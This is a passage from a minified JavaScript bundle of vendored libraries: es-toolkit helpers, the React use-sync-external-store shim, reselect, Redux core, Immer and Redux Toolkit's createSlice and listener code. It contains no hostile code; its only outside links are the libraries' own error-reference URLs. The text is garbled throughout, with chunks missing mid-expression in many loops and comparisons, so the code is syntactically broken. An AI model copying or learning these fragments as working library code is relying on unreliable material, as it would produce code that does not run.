t.copyProperties(m,a),m.length=a.length,m[Symbol.iterator]=a[Symbol.iterator],m}default:return}}})}e.cloneDeepWith=i})(lk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=lk;function n(r){return t.cloneDeepWith(r)}e.cloneDeep=n})(ok);var ck={},Tx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=/^(?:0|[1-9]\d*)$/;function n(r,i=Number.MAX_SAFE_INTEGER){switch(typeof r){case"number":return Number.isInteger(r)&&r>=0&&r"u"||typeof window.document>"u"||typeof window.document.createElement>"u"?j6:w6;mk.useSyncExternalStore=Xa.useSyncExternalStore!==void 0?Xa.useSyncExternalStore:k6;pk.exports=mk;var N6=pk.exports;/** + * @license React + * use-sync-external-store-shim/with-selector.production.js + * + * Copyright (c) Meta Platforms, Inc. and affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var vd=p,S6=N6;function z6(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var C6=typeof Object.is=="function"?Object.is:z6,P6=S6.useSyncExternalStore,E6=vd.useRef,A6=vd.useEffect,_6=vd.useMemo,O6=vd.useDebugValue;fk.useSyncExternalStoreWithSelector=function(e,t,n,r,i){var a=E6(null);if(a.current===null){var o={hasValue:!1,value:null};a.current=o}else o=a.current;a=_6(function(){function c(h){if(!u){if(u=!0,d=h,h=r(h),i!==void 0&&o.hasValue){var x=o.value;if(i(x,h))return f=x}return f=h}if(x=f,C6(d,h))return x;var g=r(h);return i!==void 0&&i(x,g)?(d=h,x):(d=h,f=g)}var u=!1,d,f,m=n===void 0?null:n;return[function(){return c(t())},m===null?void 0:function(){return c(m())}]},[t,n,r,i]);var l=P6(e,a[0],a[1]);return A6(function(){o.hasValue=!0,o.value=l},[l]),O6(l),l};dk.exports=fk;var T6=dk.exports,Mx=p.createContext(null),M6=e=>e,it=()=>{var e=p.useContext(Mx);return e?e.store.dispatch:M6},fc=()=>{},L6=()=>fc,I6=(e,t)=>e===t;function ye(e){var t=p.useContext(Mx),n=p.useMemo(()=>t?r=>{if(r!=null)return e(r)}:fc,[t,e]);return T6.useSyncExternalStoreWithSelector(t?t.subscription.addNestedSub:L6,t?t.store.getState:fc,t?t.store.getState:fc,n,I6)}function D6(e,t=`expected a function, instead received ${typeof e}`){if(typeof e!="function")throw new TypeError(t)}function R6(e,t=`expected an object, instead received ${typeof e}`){if(typeof e!="object")throw new TypeError(t)}function $6(e,t="expected all items to be functions, instead received the following types: "){if(!e.every(n=>typeof n=="function")){const n=e.map(r=>typeof r=="function"?`function ${r.name||"unnamed"}()`:typeof r).join(", ");throw new TypeError(`${t}[${n}]`)}}var ny=e=>Array.isArray(e)?e:[e];function B6(e){const t=Array.isArray(e[0])?e[0]:e;return $6(t,"createSelector expects all input-selectors to be functions, but received the following types: "),t}function F6(e,t){const n=[],{length:r}=e;for(let i=0;i{n=Ol(),o.resetResultsCount()},o.resultsCount=()=>a,o.resetResultsCount=()=>{a=0},o}function H6(e,...t){const n=typeof e=="function"?{memoize:e,memoizeOptions:t}:e,r=(...i)=>{let a=0,o=0,l,c={},u=i.pop();typeof u=="object"&&(c=u,u=i.pop()),D6(u,`createSelector expects an output function after the inputs, but received: [${typeof u}]`);const d={...n,...c},{memoize:f,memoizeOptions:m=[],argsMemoize:h=hk,argsMemoizeOptions:x=[]}=d,g=ny(m),y=ny(x),v=B6(i),b=f(function(){return a++,u.apply(null,arguments)},...g),w=h(function(){o++;const k=F6(v,arguments);return l=b.apply(null,k),l},...y);return Object.assign(w,{resultFunc:u,memoizedResultFunc:b,dependencies:v,dependencyRecomputations:()=>o,resetDependencyRecomputations:()=>{o=0},lastResult:()=>l,recomputations:()=>a,resetRecomputations:()=>{a=0},memoize:f,argsMemoize:h})};return Object.assign(r,{withTypes:()=>r}),r}var T=H6(hk),K6=Object.assign((e,t=T)=>{R6(e,`createStructuredSelector expects first argument to be an object where each property is a selector, instead received a ${typeof e}`);const n=Object.keys(e),r=n.map(a=>e[a]);return t(r,(...a)=>a.reduce((o,l,c)=>(o[n[c]]=l,o),{}))},{withTypes:()=>K6}),xk={},vk={},gk={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(r){return typeof r=="symbol"?1:r===null?2:r===void 0?3:r!==r?4:0}const n=(r,i,a)=>{if(r!==i){const o=t(r),l=t(i);if(o===l&&o===0){if(ri)return a==="desc"?-1:1}return a==="desc"?l-o:o-l}return 0};e.compareValues=n})(gk);var yk={},Lx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return typeof n=="symbol"||n instanceof Symbol}e.isSymbol=t})(Lx);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Lx,n=/\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,r=/^\w*$/;function i(a,o){return Array.isArray(a)?!1:typeof a=="number"||typeof a=="boolean"||a==null||t.isSymbol(a)?!0:typeof a=="string"&&(r.test(a)||!n.test(a))||o!=null&&Object.hasOwn(o,a)}e.isKey=i})(yk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=gk,n=yk,r=md;function i(a,o,l,c){if(a==null)return[];l=c?void 0:l,Array.isArray(a)||(a=Object.values(a)),Array.isArray(o)||(o=o==null?[null]:[o]),o.length===0&&(o=[null]),Array.isArray(l)||(l=l==null?[]:[l]),l=l.map(h=>String(h));const u=(h,x)=>{let g=h;for(let y=0;yx==null||h==null?x:typeof h=="object"&&"key"in h?Object.hasOwn(x,h.key)?x[h.key]:u(x,h.path):typeof h=="function"?h(x):Array.isArray(h)?u(x,h):typeof x=="object"?x[h]:x,f=o.map(h=>(Array.isArray(h)&&h.length===1&&(h=h[0]),h==null||typeof h=="function"||Array.isArray(h)||n.isKey(h)?h:{key:h,path:r.toPath(h)}));return a.map(h=>({original:h,criteria:f.map(x=>d(x,h))})).slice().sort((h,x)=>{for(let g=0;gh.original)}e.orderBy=i})(vk);var bk={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r=1){const i=[],a=Math.floor(r),o=(l,c)=>{for(let u=0;u1&&r.isIterateeCall(a,o[0],o[1])?o=[]:l>2&&r.isIterateeCall(o[0],o[1],o[2])&&(o=[o[0]]),t.orderBy(a,n.flatten(o),["asc"])}e.sortBy=i})(xk);var q6=xk.sortBy;const gd=Lr(q6);var wk=e=>e.legend.settings,Y6=e=>e.legend.size,G6=e=>e.legend.payload;T([G6,wk],(e,t)=>{var{itemSorter:n}=t,r=e.flat(1);return n?gd(r,n):r});var Tl=1;function X6(){var e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:[],[t,n]=p.useState({height:0,left:0,top:0,width:0}),r=p.useCallback(i=>{if(i!=null){var a=i.getBoundingClientRect(),o={height:a.height,left:a.left,top:a.top,width:a.width};(Math.abs(o.height-t.height)>Tl||Math.abs(o.left-t.left)>Tl||Math.abs(o.top-t.top)>Tl||Math.abs(o.width-t.width)>Tl)&&n({height:o.height,left:o.left,top:o.top,width:o.width})}},[t.width,t.height,t.top,t.left,...e]);return[t,r]}function jt(e){return`Minified Redux error #${e}; visit https://redux.js.org/Errors?code=${e} for the full message or use the non-minified dev environment for full errors. `}var Z6=typeof Symbol=="function"&&Symbol.observable||"@@observable",iy=Z6,Qf=()=>Math.random().toString(36).substring(7).split("").join("."),Q6={INIT:`@@redux/INIT${Qf()}`,REPLACE:`@@redux/REPLACE${Qf()}`,PROBE_UNKNOWN_ACTION:()=>`@@redux/PROBE_UNKNOWN_ACTION${Qf()}`},Xc=Q6;function Dx(e){if(typeof e!="object"||e===null)return!1;let t=e;for(;Object.getPrototypeOf(t)!==null;)t=Object.getPrototypeOf(t);return Object.getPrototypeOf(e)===t||Object.getPrototypeOf(e)===null}function jk(e,t,n){if(typeof e!="function")throw new Error(jt(2));if(typeof t=="function"&&typeof n=="function"||typeof n=="function"&&typeof arguments[3]=="function")throw new Error(jt(0));if(typeof t=="function"&&typeof n>"u"&&(n=t,t=void 0),typeof n<"u"){if(typeof n!="function")throw new Error(jt(1));return n(jk)(e,t)}let r=e,i=t,a=new Map,o=a,l=0,c=!1;function u(){o===a&&(o=new Map,a.forEach((y,v)=>{o.set(v,y)}))}function d(){if(c)throw new Error(jt(3));return i}function f(y){if(typeof y!="function")throw new Error(jt(4));if(c)throw new Error(jt(5));let v=!0;u();const b=l++;return o.set(b,y),function(){if(v){if(c)throw new Error(jt(6));v=!1,u(),o.delete(b),a=null}}}function m(y){if(!Dx(y))throw new Error(jt(7));if(typeof y.type>"u")throw new Error(jt(8));if(typeof y.type!="string")throw new Error(jt(17));if(c)throw new Error(jt(9));try{c=!0,i=r(i,y)}finally{c=!1}return(a=o).forEach(b=>{b()}),y}function h(y){if(typeof y!="function")throw new Error(jt(10));r=y,m({type:Xc.REPLACE})}function x(){const y=f;return{subscribe(v){if(typeof v!="object"||v===null)throw new Error(jt(11));function b(){const j=v;j.next&&j.next(d())}return b(),{unsubscribe:y(b)}},[iy](){return this}}}return m({type:Xc.INIT}),{dispatch:m,subscribe:f,getState:d,replaceReducer:h,[iy]:x}}function J6(e){Object.keys(e).forEach(t=>{const n=e[t];if(typeof n(void 0,{type:Xc.INIT})>"u")throw new Error(jt(12));if(typeof n(void 0,{type:Xc.PROBE_UNKNOWN_ACTION()})>"u")throw new Error(jt(13))})}function kk(e){const t=Object.keys(e),n={};for(let a=0;a"u")throw l&&l.type,new Error(jt(14));u[f]=x,c=c||x!==h}return c=c||r.length!==Object.keys(o).length,c?u:o}}function Zc(...e){return e.length===0?t=>t:e.length===1?e[0]:e.reduce((t,n)=>(...r)=>t(n(...r)))}function eO(...e){return t=>(n,r)=>{const i=t(n,r);let a=()=>{throw new Error(jt(15))};const o={getState:i.getState,dispatch:(c,...u)=>a(c,...u)},l=e.map(c=>c(o));return a=Zc(...l)(i.dispatch),{...i,dispatch:a}}}function Nk(e){return Dx(e)&&"type"in e&&typeof e.type=="string"}var Sk=Symbol.for("immer-nothing"),ay=Symbol.for("immer-draftable"),Rt=Symbol.for("immer-state");function In(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var rn=Object,Za=rn.getPrototypeOf,Qc="constructor",yd="prototype",_m="configurable",Jc="enumerable",pc="writable",Eo="value",Er=e=>!!e&&!!e[Rt];function Vn(e){var t;return e?zk(e)||wd(e)||!!e[ay]||!!((t=e[Qc])!=null&&t[ay])||jd(e)||kd(e):!1}var tO=rn[yd][Qc].toString(),sy=new WeakMap;function zk(e){if(!e||!Rx(e))return!1;const t=Za(e);if(t===null||t===rn[yd])return!0;const n=rn.hasOwnProperty.call(t,Qc)&&t[Qc];if(n===Object)return!0;if(!va(n))return!1;let r=sy.get(n);return r===void 0&&(r=Function.toString.call(n),sy.set(n,r)),r===tO}function bd(e,t,n=!0){Xo(e)===0?(n?Reflect.ownKeys(e):rn.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function Xo(e){const t=e[Rt];return t?t.type_:wd(e)?1:jd(e)?2:kd(e)?3:0}var oy=(e,t,n=Xo(e))=>n===2?e.has(t):rn[yd].hasOwnProperty.call(e,t),Om=(e,t,n=Xo(e))=>n===2?e.get(t):e[t],eu=(e,t,n,r=Xo(e))=>{r===2?e.set(t,n):r===3?e.add(n):e[t]=n};function nO(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}var wd=Array.isArray,jd=e=>e instanceof Map,kd=e=>e instanceof Set,Rx=e=>typeof e=="object",va=e=>typeof e=="function",Jf=e=>typeof e=="boolean";function rO(e){const t=+e;return Number.isInteger(t)&&String(t)===e}var xr=e=>e.copy_||e.base_,$x=e=>e.modified_?e.copy_:e.base_;function Tm(e,t){if(jd(e))return new Map(e);if(kd(e))return new Set(e);if(wd(e))return Array[yd].slice.call(e);const n=zk(e);if(t===!0||t==="class_only"&&!n){const r=rn.getOwnPropertyDescriptors(e);delete r[Rt];let i=Reflect.ownKeys(r);for(let a=0;a1&&rn.defineProperties(e,{set:Ml,add:Ml,clear:Ml,delete:Ml}),rn.freeze(e),t&&bd(e,(n,r)=>{Bx(r,!0)},!1)),e}function iO(){In(2)}var Ml={[Eo]:iO};function Nd(e){return e===null||!Rx(e)?!0:rn.isFrozen(e)}var tu="MapSet",Mm="Patches",ly="ArrayMethods",Ck={};function na(e){const t=Ck[e];return t||In(0,e),t}var cy=e=>!!Ck[e],Ao,Pk=()=>Ao,aO=(e,t)=>({drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0,handledSet_:new Set,processedForPatches_:new Set,mapSetPlugin_:cy(tu)?na(tu):void 0,arrayMethodsPlugin_:cy(ly)?na(ly):void 0});function uy(e,t){t&&(e.patchPlugin_=na(Mm),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}function Lm(e){Im(e),e.drafts_.forEach(sO),e.drafts_=null}function Im(e){e===Ao&&(Ao=e.parent_)}var dy=e=>Ao=aO(Ao,e);function sO(e){const t=e[Rt];t.type_===0||t.type_===1?t.revoke_():t.revoked_=!0}function fy(e,t){t.unfinalizedDrafts_=t.drafts_.length;const n=t.drafts_[0];if(e!==void 0&&e!==n){n[Rt].modified_&&(Lm(t),In(4)),Vn(e)&&(e=py(t,e));const{patchPlugin_:i}=t;i&&i.generateReplacementPatches_(n[Rt].base_,e,t)}else e=py(t,n);return oO(t,e,!0),Lm(t),t.patches_&&t.patchListener_(t.patches_,t.inversePatches_),e!==Sk?e:void 0}function py(e,t){if(Nd(t))return t;const n=t[Rt];if(!n)return nu(t,e.handledSet_,e);if(!Sd(n,e))return t;if(!n.modified_)return n.base_;if(!n.finalized_){const{callbacks_:r}=n;if(r)for(;r.length>0;)r.pop()(e);_k(n,e)}return n.copy_}function oO(e,t,n=!1){!e.parent_&&e.immer_.autoFreeze_&&e.canAutoFreeze_&&Bx(t,n)}function Ek(e){e.finalized_=!0,e.scope_.unfinalizedDrafts_--}var Sd=(e,t)=>e.scope_===t,lO=[];function Ak(e,t,n,r){const i=xr(e),a=e.type_;if(r!==void 0&&Om(i,r,a)===t){eu(i,r,n,a);return}if(!e.draftLocations_){const l=e.draftLocations_=new Map;bd(i,(c,u)=>{if(Er(u)){const d=l.get(u)||[];d.push(c),l.set(u,d)}})}const o=e.draftLocations_.get(t)??lO;for(const l of o)eu(i,l,n,a)}function cO(e,t,n){e.callbacks_.push(function(i){var l;const a=t;if(!a||!Sd(a,i))return;(l=i.mapSetPlugin_)==null||l.fixSetContents(a);const o=$x(a);Ak(e,a.draft_??a,o,n),_k(a,i)})}function _k(e,t){var r;if(e.modified_&&!e.finalized_&&(e.type_===3||e.type_===1&&e.allIndicesReassigned_||(((r=e.assigned_)==null?void 0:r.size)??0)>0)){const{patchPlugin_:i}=t;if(i){const a=i.getPath(e);a&&i.generatePatches_(e,a,t)}Ek(e)}}function uO(e,t,n){const{scope_:r}=e;if(Er(n)){const i=n[Rt];Sd(i,r)&&i.callbacks_.push(function(){mc(e);const o=$x(i);Ak(e,n,o,t)})}else Vn(n)&&e.callbacks_.push(function(){const a=xr(e);e.type_===3?a.has(n)&&nu(n,r.handledSet_,r):Om(a,t,e.type_)===n&&r.drafts_.length>1&&(e.assigned_.get(t)??!1)===!0&&e.copy_&&nu(Om(e.copy_,t,e.type_),r.handledSet_,r)})}function nu(e,t,n){return!n.immer_.autoFreeze_&&n.unfinalizedDrafts_<1||Er(e)||t.has(e)||!Vn(e)||Nd(e)||(t.add(e),bd(e,(r,i)=>{if(Er(i)){const a=i[Rt];if(Sd(a,n)){const o=$x(a);eu(e,r,o,e.type_),Ek(a)}}else Vn(i)&&nu(i,t,n)})),e}function dO(e,t){const n=wd(e),r={type_:n?1:0,scope_:t?t.scope_:Pk(),modified_:!1,finalized_:!1,assigned_:void 0,parent_:t,base_:e,draft_:null,copy_:null,revoke_:null,isManual_:!1,callbacks_:void 0};let i=r,a=ru;n&&(i=[r],a=_o);const{revoke:o,proxy:l}=Proxy.revocable(i,a);return r.draft_=l,r.revoke_=o,[l,r]}var ru={get(e,t){if(t===Rt)return e;let n=e.scope_.arrayMethodsPlugin_;const r=e.type_===1&&typeof t=="string";if(r&&n!=null&&n.isArrayOperationMethod(t))return n.createMethodInterceptor(e,t);const i=xr(e);if(!oy(i,t,e.type_))return fO(e,i,t);const a=i[t];if(e.finalized_||!Vn(a)||r&&e.operationMethod&&(n!=null&&n.isMutatingArrayMethod(e.operationMethod))&&rO(t))return a;if(a===ep(e.base_,t)){mc(e);const o=e.type_===1?+t:t,l=Rm(e.scope_,a,e,o);return e.copy_[o]=l}return a},has(e,t){return t in xr(e)},ownKeys(e){return Reflect.ownKeys(xr(e))},set(e,t,n){const r=Ok(xr(e),t);if(r!=null&&r.set)return r.set.call(e.draft_,n),!0;if(!e.modified_){const i=ep(xr(e),t),a=i==null?void 0:i[Rt];if(a&&a.base_===n)return e.copy_[t]=n,e.assigned_.set(t,!1),!0;if(nO(n,i)&&(n!==void 0||oy(e.base_,t,e.type_)))return!0;mc(e),Dm(e)}return e.copy_[t]===n&&(n!==void 0||t in e.copy_)||Number.isNaN(n)&&Number.isNaN(e.copy_[t])||(e.copy_[t]=n,e.assigned_.set(t,!0),uO(e,t,n)),!0},deleteProperty(e,t){return mc(e),ep(e.base_,t)!==void 0||t in e.base_?(e.assigned_.set(t,!1),Dm(e)):e.assigned_.delete(t),e.copy_&&delete e.copy_[t],!0},getOwnPropertyDescriptor(e,t){const n=xr(e),r=Reflect.getOwnPropertyDescriptor(n,t);return r&&{[pc]:!0,[_m]:e.type_!==1||t!=="length",[Jc]:r[Jc],[Eo]:n[t]}},defineProperty(){In(11)},getPrototypeOf(e){return Za(e.base_)},setPrototypeOf(){In(12)}},_o={};for(let e in ru){let t=ru[e];_o[e]=function(){const n=arguments;return n[0]=n[0][0],t.apply(this,n)}}_o.deleteProperty=function(e,t){return _o.set.call(this,e,t,void 0)};_o.set=function(e,t,n){return ru.set.call(this,e[0],t,n,e[0])};function ep(e,t){const n=e[Rt];return(n?xr(n):e)[t]}function fO(e,t,n){var i;const r=Ok(t,n);return r?Eo in r?r[Eo]:(i=r.get)==null?void 0:i.call(e.draft_):void 0}function Ok(e,t){if(!(t in e))return;let n=Za(e);for(;n;){const r=Object.getOwnPropertyDescriptor(n,t);if(r)return r;n=Za(n)}}function Dm(e){e.modified_||(e.modified_=!0,e.parent_&&Dm(e.parent_))}function mc(e){e.copy_||(e.assigned_=new Map,e.copy_=Tm(e.base_,e.scope_.immer_.useStrictShallowCopy_))}var pO=class{constructor(t){this.autoFreeze_=!0,this.useStrictShallowCopy_=!1,this.useStrictIteration_=!1,this.produce=(n,r,i)=>{if(va(n)&&!va(r)){const o=r;r=n;const l=this;return function(u=o,...d){return l.produce(u,f=>r.call(this,f,...d))}}va(r)||In(6),i!==void 0&&!va(i)&&In(7);let a;if(Vn(n)){const o=dy(this),l=Rm(o,n,void 0);let c=!0;try{a=r(l),c=!1}finally{c?Lm(o):Im(o)}return uy(o,i),fy(a,o)}else if(!n||!Rx(n)){if(a=r(n),a===void 0&&(a=n),a===Sk&&(a=void 0),this.autoFreeze_&&Bx(a,!0),i){const o=[],l=[];na(Mm).generateReplacementPatches_(n,a,{patches_:o,inversePatches_:l}),i(o,l)}return a}else In(1,n)},this.produceWithPatches=(n,r)=>{if(va(n))return(l,...c)=>this.produceWithPatches(l,u=>n(u,...c));let i,a;return[this.produce(n,r,(l,c)=>{i=l,a=c}),i,a]},Jf(t==null?void 0:t.autoFreeze)&&this.setAutoFreeze(t.autoFreeze),Jf(t==null?void 0:t.useStrictShallowCopy)&&this.setUseStrictShallowCopy(t.useStrictShallowCopy),Jf(t==null?void 0:t.useStrictIteration)&&this.setUseStrictIteration(t.useStrictIteration)}createDraft(t){Vn(t)||In(8),Er(t)&&(t=Fn(t));const n=dy(this),r=Rm(n,t,void 0);return r[Rt].isManual_=!0,Im(n),r}finishDraft(t,n){const r=t&&t[Rt];(!r||!r.isManual_)&&In(9);const{scope_:i}=r;return uy(i,n),fy(void 0,i)}setAutoFreeze(t){this.autoFreeze_=t}setUseStrictShallowCopy(t){this.useStrictShallowCopy_=t}setUseStrictIteration(t){this.useStrictIteration_=t}shouldUseStrictIteration(){return this.useStrictIteration_}applyPatches(t,n){let r;for(r=n.length-1;r>=0;r--){const a=n[r];if(a.path.length===0&&a.op==="replace"){t=a.value;break}}r>-1&&(n=n.slice(r+1));const i=na(Mm).applyPatches_;return Er(t)?i(t,n):this.produce(t,a=>i(a,n))}};function Rm(e,t,n,r){const[i,a]=jd(t)?na(tu).proxyMap_(t,n):kd(t)?na(tu).proxySet_(t,n):dO(t,n);return((n==null?void 0:n.scope_)??Pk()).drafts_.push(i),a.callbacks_=(n==null?void 0:n.callbacks_)??[],a.key_=r,n&&r!==void 0?cO(n,a,r):a.callbacks_.push(function(c){var d;(d=c.mapSetPlugin_)==null||d.fixSetContents(a);const{patchPlugin_:u}=c;a.modified_&&u&&u.generatePatches_(a,[],c)}),i}function Fn(e){return Er(e)||In(10,e),Tk(e)}function Tk(e){if(!Vn(e)||Nd(e))return e;const t=e[Rt];let n,r=!0;if(t){if(!t.modified_)return t.base_;t.finalized_=!0,n=Tm(e,t.scope_.immer_.useStrictShallowCopy_),r=t.scope_.immer_.shouldUseStrictIteration()}else n=Tm(e,!0);return bd(n,(i,a)=>{eu(n,i,Tk(a))},r),t&&(t.finalized_=!1),n}var mO=new pO,Mk=mO.produce;function Lk(e){return({dispatch:n,getState:r})=>i=>a=>typeof a=="function"?a(n,r,e):i(a)}var hO=Lk(),xO=Lk,vO=typeof window<"u"&&window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__?window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__:function(){if(arguments.length!==0)return typeof arguments[0]=="object"?Zc:Zc.apply(null,arguments)};function zn(e,t){function n(...r){if(t){let i=t(...r);if(!i)throw new Error(on(0));return{type:e,payload:i.payload,..."meta"in i&&{meta:i.meta},..."error"in i&&{error:i.error}}}return{type:e,payload:r[0]}}return n.toString=()=>`${e}`,n.type=e,n.match=r=>Nk(r)&&r.type===e,n}var Ik=class Ks extends Array{constructor(...t){super(...t),Object.setPrototypeOf(this,Ks.prototype)}static get[Symbol.species](){return Ks}concat(...t){return super.concat.apply(this,t)}prepend(...t){return t.length===1&&Array.isArray(t[0])?new Ks(...t[0].concat(this)):new Ks(...t.concat(this))}};function my(e){return Vn(e)?Mk(e,()=>{}):e}function Ll(e,t,n){return e.has(t)?e.get(t):e.set(t,n(t)).get(t)}function gO(e){return typeof e=="boolean"}var yO=()=>function(t){const{thunk:n=!0,immutableCheck:r=!0,serializableCheck:i=!0,actionCreatorCheck:a=!0}=t??{};let o=new Ik;return n&&(gO(n)?o.push(hO):o.push(xO(n.extraArgument))),o},Dk="RTK_autoBatch",Ue=()=>e=>({payload:e,meta:{[Dk]:!0}}),hy=e=>t=>{setTimeout(t,e)},Rk=(e={type:"raf"})=>t=>(...n)=>{const r=t(...n);let i=!0,a=!1,o=!1;const l=new Set,c=e.type==="tick"?queueMicrotask:e.type==="raf"?typeof window<"u"&&window.requestAnimationFrame?window.requestAnimationFrame:hy(10):e.type==="callback"?e.queueNotification:hy(e.timeout),u=()=>{o=!1,a&&(a=!1,l.forEach(d=>d()))};return Object.assign({},r,{subscribe(d){const f=()=>i&&d(),m=r.subscribe(f);return l.add(d),()=>{m(),l.delete(d)}},dispatch(d){var f;try{return i=!((f=d==null?void 0:d.meta)!=null&&f[Dk]),a=!i,a&&(o||(o=!0,c(u))),r.dispatch(d)}finally{i=!0}}})},bO=e=>function(n){const{autoBatch:r=!0}=n??{};let i=new Ik(e);return r&&i.push(Rk(typeof r=="object"?r:void 0)),i};function wO(e){const t=yO(),{reducer:n=void 0,middleware:r,devTools:i=!0,preloadedState:a=void 0,enhancers:o=void 0}=e||{};let l;if(typeof n=="function")l=n;else if(Dx(n))l=kk(n);else throw new Error(on(1));let c;typeof r=="function"?c=r(t):c=t();let u=Zc;i&&(u=vO({trace:!1,...typeof i=="object"&&i}));const d=eO(...c),f=bO(d);let m=typeof o=="function"?o(f):f();const h=u(...m);return jk(l,a,h)}function $k(e){const t={},n=[];let r;const i={addCase(a,o){const l=typeof a=="string"?a:a.type;if(!l)throw new Error(on(28));if(l in t)throw new Error(on(29));return t[l]=o,i},addAsyncThunk(a,o){return o.pending&&(t[a.pending.type]=o.pending),o.rejected&&(t[a.rejected.type]=o.rejected),o.fulfilled&&(t[a.fulfilled.type]=o.fulfilled),o.settled&&n.push({matcher:a.settled,reducer:o.settled}),i},addMatcher(a,o){return n.push({matcher:a,reducer:o}),i},addDefaultCase(a){return r=a,i}};return e(i),[t,n,r]}function jO(e){return typeof e=="function"}function kO(e,t){let[n,r,i]=$k(t),a;if(jO(e))a=()=>my(e());else{const l=my(e);a=()=>l}function o(l=a(),c){let u=[n[c.type],...r.filter(({matcher:d})=>d(c)).map(({reducer:d})=>d)];return u.filter(d=>!!d).length===0&&(u=[i]),u.reduce((d,f)=>{if(f)if(Er(d)){const h=f(d,c);return h===void 0?d:h}else{if(Vn(d))return Mk(d,m=>f(m,c));{const m=f(d,c);if(m===void 0){if(d===null)return d;throw Error("A case reducer on a non-draftable value must not return undefined")}return m}}return d},l)}return o.getInitialState=a,o}var NO="ModuleSymbhasOwnPr-0123456789ABCDEFGHNRVfgctiUvz_KqYTJkLxpZXIjQW",SO=(e=21)=>{let t="",n=e;for(;n--;)t+=NO[Math.random()*64|0];return t},zO=Symbol.for("rtk-slice-createasyncthunk");function CO(e,t){return`${e}/${t}`}function PO({creators:e}={}){var n;const t=(n=e==null?void 0:e.asyncThunk)==null?void 0:n[zO];return function(i){const{name:a,reducerPath:o=a}=i;if(!a)throw new Error(on(11));const l=(typeof i.reducers=="function"?i.reducers(AO()):i.reducers)||{},c=Object.keys(l),u={sliceCaseReducersByName:{},sliceCaseReducersByType:{},actionCreators:{},sliceMatchers:[]},d={addCase(j,k){const S=typeof j=="string"?j:j.type;if(!S)throw new Error(on(12));if(S in u.sliceCaseReducersByType)throw new Error(on(13));return u.sliceCaseReducersByType[S]=k,d},addMatcher(j,k){return u.sliceMatchers.push({matcher:j,reducer:k}),d},exposeAction(j,k){return u.actionCreators[j]=k,d},exposeCaseReducer(j,k){return u.sliceCaseReducersByName[j]=k,d}};c.forEach(j=>{const k=l[j],S={reducerName:j,type:CO(a,j),createNotation:typeof i.reducers=="function"};OO(k)?MO(S,k,d,t):_O(S,k,d)});function f(){const[j={},k=[],S=void 0]=typeof i.extraReducers=="function"?$k(i.extraReducers):[i.extraReducers],N={...j,...u.sliceCaseReducersByType};return kO(i.initialState,z=>{for(let _ in N)z.addCase(_,N[_]);for(let _ of u.sliceMatchers)z.addMatcher(_.matcher,_.reducer);for(let _ of k)z.addMatcher(_.matcher,_.reducer);S&&z.addDefaultCase(S)})}const m=j=>j,h=new Map,x=new WeakMap;let g;function y(j,k){return g||(g=f()),g(j,k)}function v(){return g||(g=f()),g.getInitialState()}function b(j,k=!1){function S(z){let _=z[j];return typeof _>"u"&&k&&(_=Ll(x,S,v)),_}function N(z=m){const _=Ll(h,k,()=>new WeakMap);return Ll(_,z,()=>{const A={};for(const[O,P]of Object.entries(i.selectors??{}))A[O]=EO(P,z,()=>Ll(x,z,v),k);return A})}return{reducerPath:j,getSelectors:N,get selectors(){return N(S)},selectSlice:S}}const w={name:a,reducer:y,actions:u.actionCreators,caseReducers:u.sliceCaseReducersByName,getInitialState:v,...b(o),injectInto(j,{reducerPath:k,...S}={}){const N=k??o;return j.inject({reducerPath:N,reducer:y},S),{...w,...b(N,!0)}}};return w}}function EO(e,t,n,r){function i(a,...o){let l=t(a);return typeof l>"u"&&r&&(l=n()),e(l,...o)}return i.unwrapped=e,i}var Xt=PO();function AO(){function e(t,n){return{_reducerDefinitionType:"asyncThunk",payloadCreator:t,...n}}return e.withTypes=()=>e,{reducer(t){return Object.assign({[t.name](...n){return t(...n)}}[t.name],{_reducerDefinitionType:"reducer"})},preparedReducer(t,n){return{_reducerDefinitionType:"reducerWithPrepare",prepare:t,reducer:n}},asyncThunk:e}}function _O({type:e,reducerName:t,createNotation:n},r,i){let a,o;if("reducer"in r){if(n&&!TO(r))throw new Error(on(17));a=r.reducer,o=r.prepare}else a=r;i.addCase(e,a).exposeCaseReducer(t,a).exposeAction(t,o?zn(e,o):zn(e))}function OO(e){return e._reducerDefinitionType==="asyncThunk"}function TO(e){return e._reducerDefinitionType==="reducerWithPrepare"}function MO({type:e,reducerName:t},n,r,i){if(!i)throw new Error(on(18));const{payloadCreator:a,fulfilled:o,pending:l,rejected:c,settled:u,options:d}=n,f=i(e,a,d);r.exposeAction(t,f),o&&r.addCase(f.fulfilled,o),l&&r.addCase(f.pending,l),c&&r.addCase(f.rejected,c),u&&r.addMatcher(f.settled,u),r.exposeCaseReducer(t,{fulfilled:o||Il,pending:l||Il,rejected:c||Il,settled:u||Il})}function Il(){}var LO="task",Bk="listener",Fk="completed",Fx="cancelled",IO=`task-${Fx}`,DO=`task-${Fk}`,$m=`${Bk}-${Fx}`,RO=`${Bk}-${Fk}`,zd=class{constructor(e){vf(this,"name","TaskAbortError");vf(this,"message");this.code=e,this.message=`${LO} ${Fx} (reason: ${e})`}},Wx=(e,t)=>{if(typeof e!="function")throw new TypeError(on(32))},iu=()=>{},Wk=(e,t=iu)=>(e.catch(t),e),Uk=(e,t)=>(e.addEventListener("abort",t,{once:!0}),()=>e.removeEventListener("abort",t)),Ui=e=>{if(e.aborted)throw new zd(e.reason)};function Vk(e,t){let 